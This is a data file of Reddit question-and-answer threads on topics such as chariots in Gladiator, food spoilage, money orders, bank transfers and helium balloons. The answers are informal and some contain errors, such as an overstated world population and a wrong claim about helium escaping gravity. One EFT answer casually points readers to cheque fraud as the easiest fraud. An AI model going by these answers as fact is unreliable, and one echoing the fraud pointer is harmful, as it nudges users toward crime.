{"q_id": "1umjm1", "title": "How accurate is the representation of chariots in the movie Gladiator?", "selftext": "/u/backgrinder stated that \"Chariots have a major weakness: they can't turn. Not even a little bit, not in a short space while moving. They also require firm, dry flat ground to operate.\" in the Alexander thread.\nI was thinking of this in the context of the film, they seem to run circles around Maximus  &  co, and they are defeated with what looks like a shield wall.\nWould a shield wall help against the scythes? Or is that Hollywood just being entertaining?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1umjm1/how_accurate_is_the_representation_of_chariots_in/", "answers": {"a_id": ["cejrutd", "cejy1ay", "cejz8ah"], "score": [8, 5, 2], "text": ["I hope this qualifies as a good top comment.\n\n[NOVA did an episode called *Building Pharaoh's Chariot*, on the Egyptian chariot and a little analysis of its use](_URL_0_).  \n\nIt seemed very effective as a harassment weapon, highly mobile ranged weapon, but it seemed too risky / expensive (chariot, trained drivers, and well trained horses) to use it in close combat with a large mass of organized troops.   Not saying you wouldn't use it against large masses of troops, you just would keep your distance while you reign down arrows on your opponents where you saw fit.\n\nGladiator seemed way too close, but it is also depicting something being done for entertainment even in the context of the movie so I'm not sure it needs to be accurate, or matters that it is inaccurate.    ", "Of course chariots can turn - the Greeks never used chariots for war (at least not in the post-Homeric world), but they were used in the Olympic and other games in hippodromes - hippodromes being oval-shaped tracks. This is mentioned in Thucydides as Alcibiades boasts of his chariot teams winning him several placements.\n\nThere is a reference to chariot turning in *The Iliad* as well (Bk XXIII:448-498):\n\n >  A different team\u2019s ahead, it\u2019s a new charioteer in the lead. Eumelus\u2019 mares were in front on the outward leg, but they must have come to grief. I saw them galloping first towards the turning post, but there\u2019s no sign of them now, though I\u2019ve searched the whole Trojan plain. Perhaps the reins slipped from his hands, and he failed to take the turn? I think it\u2019s there his chariot must have wrecked, and hurled him to the ground, while the mares swerved and bolted in their terror.\n\nThe Romans used them in races in the Circus Maximus which is basically a hippodrome, an oval track which requires turning. \n\nIn *Bello Gallica* the Britannic chariots are described as such:\n\n >  by daily practice and exercise attain to such expertness that they are accustomed, even on a declining and steep place, to check their horses at full speed, and manage and turn them in an instant and run along the pole, and stand on the yoke, and thence betake themselves with the greatest celerity to their chariots again.\n\nThe Greeks and Romans didn't use chariots for combat; although there is an instance in Vegetius where it is claimed a chariot is used by Scipio Africanus to fight elephants. But the Britons were separated from the mainland culture, which had moved on to proper cavalry warfare, and they retained the chariot.\n\nAs for the scythed wheels, Darius III deployed scythed chariots against Alexander at Gaugamela. The *Anabasis Alexandri* claims 200 scythed chariots.\n\nHowever Xenophon claims Cyrus the Great invented the concept of using the scythed chariot. From *Cyropaedia*:\n\n > On both sides of the wheels, moreover, he attached to the axles steel scythes about two cubits long and beneath the axles other scythes pointing down toward the ground; this was so arranged with the intention of hurling the chariots into the midst of the enemy. And as Cyrus constructed them at that time, such even to this day are the chariots in use in the king's dominions\n\nMithridates also apparently used them, according to Appian, with the chariots \"cutting some of them in two, and tearing others to pieces\" as they charged into the Roman lines.\n\nA shield wall would certainly be effective granted you had disciplined troops. Horses are horses, and they will hesitate or refuse to charge a wall of spears. Apparently the thinking with the scythe, however, was not to charge a formation, but was equipped because the horses would not charge. The horses could still avoid the infantry directly while the scythe would cut into them.\n\nHowever the tactic that seemed most effective at countering them was creating gaps in the line as the chariot approached, and then closing ranks on them while they were in the midst of the infantry - this is what Alexander did at Gaugamela to deal with the chariots.\n\nThe way chariot combat is depicted in Homer as well as by Caesar is different than the scythed method, though. There would be a driver/attendant and another warrior would have throwing-weapons he would discharge from the chariot, but the primary use would be as a method of transport. \n\nThe chariot would be driven to a spot in the battlefield and the warrior would get off the chariot and fight on foot. This is depicted a few times in the opening fight in *The Iliad* and is described by Caesar - being similar as well to how some Gallic cavalry would fight; getting off of their horses to actually fight and cutting at the bellies of the opposing horse.\n\nEgyptians used them as a platform for archers.\n\nSo I'd say the depiction in *Gladiator* is pretty accurate.\n\n[edited a couple mistakes out!]", "I don't even know how to react to the 'they don't turn' comment. What? Is he saying that all the movie footage of chariots racing was somehow done with special effects, and wasn't real? I've seen chariots turning in circles all the time.\n\nI think he means that they use a single axle which forces both wheels to turn at the same speed. I guess someone might have built chariots like this, but it doesn't make a lot of sense. They aren't driving wheels, there's no need to stop each wheel from freewheeling on it's own hub. The axle between them doesn't need to turn at all.\n\nAs for 'they require firm, dry ground to operate'... there is some truth to chariots being limited in terms of where they could be usefully deployed, but because they offered such an advantage over a conventional infantry or cavalry, it quickly became the case that all sides would always prefer to engage in open, level ground suitable for chariot use. \n\nIf a battle was unavoidably located somewhere unsuitable for chariots, that would be true for all sides anyway.\n\nTheir stability was perhaps more of a problem for getting to and from the site of battle, or for long trips to war. There would be lots of mountains and narrow passes to navigate. But that's why the Romans were so OCD about building roads. Chariots are far more nimble than carts and oxen, so even on long trips the complaint about them seems pointless.\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.pbs.org/wgbh/nova/ancient/pharaoh-chariot.html"], [], []]}
{"q_id": "2gtpud", "title": "if you make a chicken soup lets say, and then boil it every night for like 10 minutes (or however long it takes to kill all the bacteria) could you keep it in your fridge indefinitely without it going bad??", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2gtpud/eli5_if_you_make_a_chicken_soup_lets_say_and_then/", "answers": {"a_id": ["ckmfqv4", "ckmmwdl", "ckmr12u"], "score": [11, 2, 11], "text": ["No. Unlike what the other poster said, though, it's not because of bacteria between boilings or (usually) toxins produced by them. Bacteria between boilings would simply be killed with the next round and with most bacteria we encounter, it's an infection of the live bacteria in our bodies, not the toxins they produce, that cause illness. \n\nThe problem is that your refrigerator isn't a sterile environment. Bacteria simply don't grow as quickly in there because it's cold. You might as well put the soup outside on a cold winter day. There are bacteria floating everywhere in the air and on every surface in your fridge. These will contaminate the soup. \n\nIf you could sterilize the soup and put it into a sterile container and store it under a nitrogen atmosphere it would remain sterile. This is how most packaged foods with a long expiration date are preserved. ", "Wouldn't boiling something that often just dry it out eventually?", "Wow... Ok. So it appears I must post about food again. The amount of false \"knowledge\" in these threads has really lead me to believe in my job security.\n\nFirst off, you need a little background into WHY you get sick when you eat food. There are basically two main types of Food Poisoning: Food Infection vs Food Intoxication. \n\nFood INFECTION: You eat something that has a bacterial count that is above the infection dose. This means that you eat enough of something that has a bacteria in it to get you sick. The bacteria takes up inside of your body, it starts to colonize and grow and makes you sick!\n\nFood INTOXIFICATION: The bacteria has been growing in that food long enough for it to break down the \"food parts\" into its by-products (aka it eats the stuff you would, \"poops\" and leaves behind its \"poop\". This could be general metabolic byproducts or toxins whatever!\"\n\nNow. To answer YOUR question. It is actually VERY complex and a lot of hypothesis, but here is a few things.\n\n1.) Boiling the soup causes changes to the food as well. This will, over time, make the food undesirable to eat (even if its safe to eat).\n2.) Rancidity - this is generally recognized as oxidation in the food (oxygen attacking the food and causing off flavors).\n3.) Light - ever wonder why meats and butcher shops are always very bright? Well light is a HUGE factor in keeping certain foods desirable. Whether its keeping its color, preventing rancidity or whatever!\n\nNow. To the BACTERIAL reasons:\n1.) Contrary to popular belief, after a 10 minute boil, nearly no BACTERIA will survive this (at least not the every day stuff you see. Thermophiles are bacteria that NEED hot temperatures to survive. Odds are there isn't much of this in your soup). So, you may be sterile DURING the boil, but as soon as the air hits it at a temperature that wont kill whatever bacteria is floating in the air, it will land and start growing again. \n2.) Refrigeration SLOWS growth, not stops it.\n3.) Over time, the byproducts would eventually reach a critical point that COULD make you sick; (see intoxication vs infection). \n\nThe biggest thing factor in the survival of the bacteria at this point would be a phenomena known as \"Heat Shock Proteins\" or HSP. Basically, this phenomena has shown evidence that if bacteria survive the sterilization process, they have been create a distress protein known as HSP. This protein allows the new generations of bacteria to become more heat resistant. Each bacteria on this is different, and not all are capable of creating a HUGE resistance, but some.\n\nSO with all this, there are MANY factors that would make the food \"go bad\" depending on what you classify as \"going bad\".\n\nTL;DR: There are many things that make food go bad. Bacteria, rancidity, oxidation and light are all factors. The food may still be \"safe to eat\" but taste horrible. Don't do this. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "ak8qdc", "title": "why does the human skin tone range from shades between black and white, and not other colors like red or blue?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ak8qdc/eli5_why_does_the_human_skin_tone_range_from/", "answers": {"a_id": ["ef2l0rz", "ef2yk28", "ef39ses", "ef3l11f"], "score": [53, 5, 4, 2], "text": ["Chemicals in the skin give it color \u2014 melanin, carotene, and hemoglobin. Melanin is in the epidermis \u2014 the outer layer of the skin, and gives tan/brown/black tones to the skin \u2014 also freckles. Carotene is in the dermis \u2014 the lower layer of skin\u2014 providing yellow/orange tones to skin. And hemoglobin concentration is reddish tones in the skin from red blood cells. \n\nHuman skin colors are mixtures/ratios of these pigments. ", "\"...and not other colors like red or blue?\"\n\nActually, there are blue skin people! \n\n The Blue People of Kentucky, are notable for having been carriers of a genetic trait that led to methemoglobinemia, which gives the blue-tinged skin.\n\nFirst I heard about this was from a guy I worked with who had it. Though his case was not \"severe\", it was a bit noticeable. \n\n_URL_0_", "There are certain conditions that can cause significant color variation. Colloidal silver consumption can cause a condition known as \"argyria\", grey/blue discoloration of the skin due to the presence of silver. \n\nExcessive beta carotene consumption can cause carotenemia: orange skin. \n\nLycopenemia is characterized by red skin, caused by overconsumption of tomatoes and other lycopene-rich foods. \n\nCertain parasites can turn you green; sunburns can turn you red (or brown). \n\n\n\n", "Have you already seen a red haired british person after two weeks of vacation in Spain ? Red as a skin tone do exist !"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Methemoglobinemia"], [], []]}
{"q_id": "evely8", "title": "flocks of birds", "selftext": "How do birds know who their flock is? Do they recognize one another? When birds migrate do they all \"know\" when and where they're going? Is there a \"boss bird\" in the flock?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/evely8/eli5_flocks_of_birds/", "answers": {"a_id": ["ffvfwtv", "ffvyx5x"], "score": [6, 2], "text": ["I don't know the answer to most of your questions.  But when ducks migrate in the V formation, they take turns being in the point position.  That is the most strenuous spot because of the way the others can get an aerodynamic boost from those ahead of them.", "They often are in family groups when they migrate following parents that have made the trip before . Heading south and exit dates may be instinct but where they end up is often learned. Banding studies have shown that birds will return to the same area, back yard or even a bush every year."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "ufqyn", "title": "- the difference between ips and tn monitors, \nand why ips is the better option", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/ufqyn/eli5_the_difference_between_ips_and_tn_monitors/", "answers": {"a_id": ["c4uzreh", "c4uzxjr"], "score": [2, 3], "text": ["IPS isn't always the best option.  It depends on what you want to do with it.  The ELI5 would be: TN has a better response time (reacts quicker to changes on screen) for a variety of color transitions, but IPS looks better.\n\nTrue 120hz LCD monitors use TN technology.  If you are looking for 3d gaming or just very responsive gaming (almost CRT-level), TN wins.  Otherwise, IPS is better for most people.", "One of the most important differences is that IPS is relatively immune to color changes when you move your head in relation to the monitor.  \n\nWhen doing high quality photographic work, TN monitors are terrible because a slight movement of your head causes all of the colors to change.  This also means you can't color match, or profile your monitor, such that photo printouts look the same as they did on the screen.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1pel1r", "title": "how do money orders work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1pel1r/eli5_how_do_money_orders_work/", "answers": {"a_id": ["cd1ibm6", "cd1il26"], "score": [4, 2], "text": ["You give money to a trusted organization with locations in may places (like the US post office, Wal-mart, or Western Union).  You then give the money order to someone else (usually in exchange for something--like a product, your relationship etc) they take the money order in and get the money back minus a service fee.  \n\nThe firm issuing the money order gets the service fee and can earn interest on the money until the money order is cashed, the buyer and seller get peace of mind that: the cash exits (unlike a personal check), the money can't be stolen as easily as cash would be by a third party, and potentially some verification that money was actually received.  ", "The easiest way to learn would be to consider the differences between checks and money orders.\n\n**When you write a check**, you're basically making a *promise* on a piece of paper. You're saying that you're going to give $X to [NOUN], and that the money is TOTALLY in the account, NO WORRIES.\n\n*But you know how sometimes promises are broken?* And sometimes, people are not dependable? You can write a check for $1000, but only have $0.10 in the bank. Check bounces, bad things happen.\n\n**That's where money orders come in.** You can only pay for money orders with cash (or direct, immediate transfers). You are literally giving $X to a bank, post office, or lending agency, where that money will be held until it is transferred into the account of the [NOUN] requiring the money.\n\nThere is little/no chance of it bouncing, because you have 100% definitely ponied up 100% of the money in question. If XYZ Corp. requires you give them $500 in the form of a money order, they are saying that they do not trust your \"promise\" in the form of a check, or that they can't \"trust\" their employees to properly secure real dollars/coins into an account, and require that the money exists and will not bounce.\n\n---\n\n**Here's an example:**\n\n1. XYZ Corp. bills you $500, money orders only.\n\n2. You go to a bank, post office, gas station, or other lending place, and literally give them $500 in cash, for a note that says it's verifiably worth $500.\n\n3. Your $500 goes into an account owned by whomever handles the money for the place you got the money order from. Let's call that the 123CorpMoney Account.\n\n4. You give your money order, which is worth $500, to XYZ Corp. \n\n5. XYZ Corp. \"cashes\" the money order, meaning that the $500 is then transferred from 123CorpMoney Account to XYZ Corp. But it was transferred in your name, meaning the monies came originally from you, meaning you paid the bill.\n\n---\n\nOften, **money orders cost money** (usually pithy amounts, like $1.50) -- this is because the agency(ies) involved want an incentive for keeping and managing this account where money is transferred. They do not get to keep the money order's amount. Some money-lending places, like Amscot, don't charge for it *(but charge for plenty of other services using the same accounts, so there's no need, really -- it's an incentive to get you to come back for payday advances and such in the future, because folks who need money orders are often in their target demographic)*. \n\n*So like if you went to the Post Office to get a money order for $500, and they charged $1.50 for it, you'd have to give them $501.50 for your money order to say $500. It's not scamming or even for much (if any) profit; it really does cost agencies money to maintain accounts like this, and print records of the transactions.*\n\nI hope that was explained simply enough!\n\n^^Edit: ^^Formatting"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "sdie8", "title": "Dogs have evolved with humans since they were feral creatures picking off scraps from our hunter-gatherer ancestors long ago. How possible is it that dogs will evolve with us in the future and actually verbally communicate with us via our own languages?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/sdie8/dogs_have_evolved_with_humans_since_they_were/", "answers": {"a_id": ["c4d5c7l"], "score": [6], "text": ["no, dogs are no longer receiving very much selective pressure which would cause them to have significant changes. all sorts of dogs are bread to stay the way they are."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "252y09", "title": "where to start for marvel or dc comics", "selftext": "I've tried to find out where the \"story\" begins but, as anyone who knows anything about comics books there are multiple beginnings. I've tried the /r/comicbooks sidebar and its equally confusing. So please help. I know there are multiple universes for each story like the New 51(?) for example so whichever is the best in your opinion", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/252y09/eli5_where_to_start_for_marvel_or_dc_comics/", "answers": {"a_id": ["chd89go", "chd9yjc", "chda6kl", "chdg1lf"], "score": [5, 6, 3, 2], "text": ["I'm a DC guy, so I'll help you with the new 52. Marvel has Marvel Now which is pretty much the same, but I don't know much about it.\n\nThe New 52 was created to drop old storylines and start fresh with an entry for new readers. They restarted all of the series and started new ones for each character. Most have multiple series. Continuity isn't really a problem with comic books, but I'd say start with some of the earlier published issues. I think you should just go to a shop (or browse an online store) and read anything that catches your eye. I'd also recommend Batman: The Court of Owls and the City of Owls.", "I'm strictly a Batman guy. There are at least 3 titles (Batman, Detective Comics and Batman and Robin) you could read. Each one is usually a different story, but sometimes they cross-over and connect with one another.\n\nIf you're interested in Batman you should read Year One by Frank Miller, the definitive place to start reading modern Batman. Next you could read The Long Halloween by Jeph Loeb, The Killing Joke by Alan Moore and Arkham Asylum by Grant Morrison.\n\nNow that you have a strong Batman base you should read The Dark Knight Returns by Frank Miller (the greatest Batman story ever told). After this you could easily move into the New 52 material and since it's only up to around 30 you can easily catch up. \n\nOnce caught up, you can go back and read titles that aren't published anymore, like Legends of the Dark Knight, Batman Confidential, Batman Inc and Batman: The Dark Knight.", "That is pretty much it for DC. The New 52 was created for a new reading audience\n\nFor Marvel, it is much more complex IMO. Looking back to the silver age (60s) you saw Amazing Fantasy and the old lines bring now-popular heroes to the forefront, which they later got their own story lines. To see the origins of the original heroes you have to look that far back. Wikipedia helps here for a new reader since many of those issues are extremely valuable, and are likely locked in protective cases to be collected.\n\nFast forward about ten years ago, Marvel created the Ultimate series. Many of the most popular heroes in the Marvel universe got the Ultimate treatment, which essentially means they were rebooted in a different universe within the Marvel multiverse. They went so far as to change various origin stories, characteristics and overall art direction for many of the popular characters which really threw a monkey wrench into the 50+ year old arcs, but is justifiable by saying that it is not in 616 (the \"main\" universe) but set in alternate universes in some cases.\n\nThe Ultimates grew quickly in popularity, as many of the dated heroes got 21st century redesigns, and perhaps equally interesting, many of the villains were dramatically updated. The movies draw heavily from the Ultimates as well rather than the dated silver age designs.\n\nSo tl;dr is for Marvel there is a giant multiverse, and unless you have a lot of time to catch up on characters or arcs individually, I would recommend looking at the Ultimates forward. DC created the New 52 for this same problem. There are a few events however (Infinity Gauntlet, Annihilation) that you may want to go back and get into because of their long term effects on the universe", "A good story that arcs into others- Marvel Civil War trade paperback.\nIt leads into Planet Hulk and then into World War Hulk."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "6lxcrj", "title": "how did the ice cream truck come to be? and how do they stay in business if they only sell product in the summertime?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6lxcrj/eli5_how_did_the_ice_cream_truck_come_to_be_and/", "answers": {"a_id": ["djxcm3g", "djxdwyt", "djxjged"], "score": [4, 2, 2], "text": ["There are tons of seasonal companies out there. They typically only hire the bulk of their staff in the summer months and let them go when the season is over. Labor costs are by and large the biggest expense that company has. They don't keep inventory over the winter, so costs during the down season are minimal. \n\nAs to how it came to be, well street vending wasn't invented with ice cream. Carts sold lots of things prior to ice cream. When portable refrigeration became possible someone simply decided to sell it off a 'cart' too. ", "Capitalism, baby, capitalism. Somebody saw a need and next thing you know, ice cream trucks.", "Food stands/carts/trucks have existed as long as markets have existed. People want to sell their food, they haul it to a market and sell it. Live chickens hanging tied up from cheap wooden stalls in markets have been a thing as long as animal husbandry.\n\nWhen portable refrigeration powerful enough to freeze water was invented they simply placed it into a truck and started selling ice cream. (ice cream also existed long before...but wasn't affordable except to the elite, in season)\n\nIf you're asking how they can afford to operate in only one season....the answer is they can't. They work other jobs in other seasons. Maybe the ice cream truck driver does handyman work in winter, or drives a hot food truck, or delivers firewood for Amazon. The ice cream trucks stay in storage in winter until needed."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1wceni", "title": "California currently has some of the worst prison overcrowding issues in the United States. Historically, what happened that California is so much worse than the rest of the US?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1wceni/california_currently_has_some_of_the_worst_prison/", "answers": {"a_id": ["cf0swa5"], "score": [3], "text": ["This might be a good question for /r/asksocialscience "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4aw0cg", "title": "What were Hieronymous Bosch's artistic influences?", "selftext": "His work seems completely different from other work of the same time period, although my knowledge of the time period is admittedly limited.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4aw0cg/what_were_hieronymous_boschs_artistic_influences/", "answers": {"a_id": ["d14dd5s", "d14w63d"], "score": [3, 2], "text": ["Maybe try /r/ArtHistory ", "So, Bosch was a Flemish painter during the Northern Renaissance. However, early Netherlandish art maintains it's own, independent characteristics and is considered more Late Gothic/Early Renaissance. \n\n\nAround this time, The Netherlands, specifically Flanders, prospered through trade and craftsmanship, becoming very wealthy. As a result, religion played a more important role in society because they believed that earthly wealth could distract one from their relationship with God, thus their salvation. The art at this time aimed to depict scenes that were only ever before described in text.\n\n\nBasically, Bosch was a very religious, moralistic man who warned of folly, sin and the temptations of earthly pleasures through his artworks, such as Garden of Earthly Delights. His inspiration comes from religious stories and from what he imagined them to look like. He's actually considered as the first surrealist painter.\n\nThere's so much more I could go into, but here's a [helpful link] (_URL_0_) and an important quote, \"He was alive when the towns were just coming out of the Dark Ages, so this influenced some of his paintings...He saw the little things in life, such as gargoyles and mini carvings, and decided to bring them to life in paintings...he let the horrors he saw everyday spill out onto his paintings, which was creative and different for his time period.\" \n\n I hope I cleared some stuff up for you!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://revolutionarypeoplefromtherenaissance.weebly.com/hieronymus-bosch.html"]]}
{"q_id": "15sr8u", "title": "When did multigenerational living lose out to the idea that we should move out and live in separate residences?", "selftext": "Multigenerational living is really the most cost effective and efficient way for families to live.  When did the idea that we should all move out at 18, get married, and raise children in a separate residence take hold? [This article from the New York Times suggests that it changed after WWII](_URL_0_), but if it is so recent, why do so many people act as though it has always been this way?  Also, is the notion that everyone in the family should have their own place a Western ideal or does one find this attitude in the East? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/15sr8u/when_did_multigenerational_living_lose_out_to_the/", "answers": {"a_id": ["c7pgzwt", "c7phjjc", "c7pojrv", "c7pok8s", "c7prosy", "c7pvtc0"], "score": [7, 16, 5, 3, 2, 2], "text": ["In general and very crudely... When there is not enough opportunity for younger siblings, they tend to leave and find their own fortune... Seen in America (specifically Dedham, Mass in the mid 1600s) when more children were surviving birth and parents were living longer. ", "This is not a question that can be answered with a date, it's a socio-demographical question that pretty much needs to be boxed out into locations, subcultures, and time frames with attention paid to the numbers and social classes of the groups in each category.    \n   \nWith reference to Eastern attitudes and trends, the two part 2010 series [*Slumming It*](_URL_0_) looks at the seriously multi-generational Dharavi slum region of Mumbai and contrasts the conditions of living (horrorshow health and safety issues) with the experience of living (unaccountably cheerful and community orientated with near zero crime rates) and compares that with the pro Western attitudes in upscale Mumbai and questions the plans to level Dharavi and replace it with the kinds of shoddy tower estates that were tried and died in post War England and Europe.     \n   \nIn my opinion it's a phenomena that's tightly coupled in Western societies to the availability of the car and personal transport, but I am not a sociologist and the world has a *huge* population - the bulk of the near 10 billion around today aren't western and don't have a car.", "I believe that we have a short memory. We act as if it has always been that one nuclear family lives in one home the way we act like every child of decent means should go to college and every person should have healthcare. Before WWII I don't really think any of those conceptions existed for the masses, or if they did they were dreams more than realities. In all likelihood, the rise of suburbia and housing developments like Levittown in NY state were the true beginning of the bi-generational household. I must also make the disclaimer that I'm not a historian and this is of course speculation, but from somewhat extensive reading on the subject this is what I have taken away. It has been a gradual change starting around the time you proposed.", "As other posters have noted, the answer varies depending on social situation, availability of transport, and some other factors. In general, most answers (e.g. By Talcott Parsons, the sociologist) place this transformation (concerning western european countries) in the industrial revolution, where massive changes took place concerning where one worked (e.g. no longer on the family farm but in more specialized and/or production jobs that were further away; enabled by better transportation over longer distances, thus less need for close kinship bonds). \n\nHowever, subsequent criticism has at the very least shown this to be a simplistic answer, if not untrue, depending on the value you place on certain authors. I couldn't find a good summary of these critiques, but [this](_URL_0_) will do for now. As, according to this explanation, the industrial revolution was, up to a point, a more western phenomenon, this family structure was as well. \n\nConcerning Asia: I'm not so sure about China, but the Japanese concept of 'ie' (traditional extended household, more common up to ww2, but not so much in current Japanese society, although a father often still has an interesting position within the family) might be interesting to read about. Read the wikipedia page on it at the very least. I believe Korea had something similar, but I have no sources to back this up.\n\nedit: forgot to insert link.", "Note that people often don't value cost effectiveness and efficiency if they have lots of money and resources available.  This certainly describes postwar America.  Why should you live with your annoying mother-in-law in a somewhat cramped house if you can afford to move out into a shiny new built home thanks to your new job giving you more money than you know what to do with?", "Up until around the beginning of the last century, not only did people live in small spaces with large families (I'm talking about in places like New York) they also would take on boarders. Anything for a penny. Many times these boarders were people from their home countries who needed a place to stay. Pay was just too low to make nuclear family living possible, in general. These places were way overcrowded, with people sleeping on any surface. \n\nThen came the reformers. Also, there were midnight raids on houses like these. It was seen by some as a real problem. Over time, it became less common to pack your place with people. Even boarding pretty much fell away. Cutting off another way housewives could make a living. \n\nPersonally, I think we are going to head back into multigenerational living as wages continue to fall or stagnate and cost of living continues to rise. As mentioned upthread, it has already started with children staying longer nd longer in the home."]}, "title_urls": [], "selftext_urls": ["http://www.nytimes.com/2012/11/30/us/building-homes-for-modern-multigenerational-families.html?_r=0"], "answers_urls": [[], ["http://www.channel4.com/programmes/kevin-mccloud-slumming-it/4od"], [], ["http://www.earlhamsociologypages.co.uk/functfamsum.html"], [], []]}
{"q_id": "ci2jcj", "title": "digitally transferring money (eft)", "selftext": "I deal a lot with money, direct deposits and credit and such, but something that kinda confuses me is how it all actually works.\n\nWhats to stop me from opening a fake bank, telling companies I paid them, and just pretending like an excel chart actually means something?\n\nHow does a bank confirm that \"real\" money was transferred when they get a payment?\n\nThe only thing I can imagine right now is some guys Adam and Ben. Adam has a paper that says, \"I have $1000.\" and Ben has a paper saying \"I have $49.\" And then Adam agrees to say, \"I have $999.\" so that Ben can say, \"I have $50.\"\n\nWhich.... seems wrong to me. I can't imagine there's that much trust when it comes to EFTs.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ci2jcj/eli5_digitally_transferring_money_eft/", "answers": {"a_id": ["ev0uzw3"], "score": [3], "text": ["I call this badboy the background highway. \n\nSo each bank will have a clearing department that will verify the payment was made. If a bank doesn't receive confirmation then the funds will be seen as unpaid and will remain as such until you compete a trace or recall from the bank where the money was being sent from. \n\nYou can have all the fake proof in the world that money was sent out. But until that trace is complete and verified. They will proceed as though no money has been sent. This is to stop people from opening accounts. And having funds automatically withdrawn when there is no money in the account. \n\nAs for the fake bank. You might be able to get some wiggle room if the amount was low enough. But also keep on mind you would need a routing number transit number and account number that all check out when the bank goes to verify the funds. \n\nIf you really want to get away with some fraud. Cheque fraud is still the easiest thing since it relies on the person at the bank which usually has the least amount of experience. A teller."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7axljt", "title": "if the earth can pull in things like the moon how can something like a helium balloon get away?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7axljt/eli5_if_the_earth_can_pull_in_things_like_the/", "answers": {"a_id": ["dpdklmt", "dpdnvy9", "dpdu1hh", "dpe2cbd"], "score": [5, 40, 2, 2], "text": ["Heavier things are pulled down harder by gravity then lighter things. This causes the heavier objects to push the lighter ones up. Air (mostly Oxygen and Nitrogen) is heavier than helium, thus the air pushes the balloon up. This is the same mechanism that allows boats to float on water. \n\nThe earths gravitational pull is stronger on heavier objects. \n\nThe moon is in space, a near vacuum. It is in stable orbit around the Earth. Stable orbit is where the gravitational pull is cancelled out by rotational momentum. \n\nEDIT: Some people have very incorrect misconceptions about gravity or what I was saying. I think in my attempt to ELI5 I was too vague, so let me clarify some things:\n\nGravitational force(AKA weight) is proportional to mass. \n\nGravitational acceleration (AKA falling rate) is equal on all objects in a vacuum (this was the feather and bowling ball experiment). 9.81 m/s^2 or 36 ft/s^2. \n\nDisplacement and buoyancy are caused by differences of gravitational force on objects based on mass. Displacement in zero gravity would be driven on surface tension and gas diffusion. \n", "A helium balloon wouldn't get away. It is still caught by gravity.\n\nIt's just that the helium balloon is lighter than the air around you. So it will float up higher until it reaches a point where the \"weight\" of the balloon is equal to the volume that it occupies in the atmosphere.\n\nAt this point, the Helium balloon will just float around the earth in that higher part of the atmosphere (i'm sure someone else can do the math on that one).\n\nMain point is, gravity is always acting on the helium balloon. The helium is just so light that it makes the balloon go up higher in the sky. \n\nThe balloon itself is so heavy that it will prevent the helium from escaping the atmosphere. But if the balloon pops, the helium could escape the atmosphere, because it is so light, gravity barely affects it (compared to heavier matter).", "If you take floating toys to the bottom of the pool and release them they will float to the surface, but won't go flying away because they're still heavier and denser than air.\n\nThe atmosphere of earth is not even at all heights, is made of different gas layers that get \"thicker\" (denser) the closer they are to the ground.\n\nSo what is happening is that the balloon is looking for its \"floating toy point\", floating above the atmosphere layers that are denser than it but it will stop when it reaches a layer that is less dense that the balloon.\n\nIf you were in space and drop a helium balloon to earth, it will actually fall until it reaches a zone in the atmosphere that's denser than it. Both the balloon and the floating toy are affected by gravity the whole time, but in both cases the foce that pulls them to a less dense layer is stronger than the force of gravity.", "It is not that the helium balloon doesn't get pulled towards the earth, it just doesn't get pulled towards the earth as hard as the air around it.  Imagine an air bubble in water.  It is less dense than the water above it so the water \"falls\" under it.  Same thing with a helium balloon in air.  The principle is called buoyancy."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
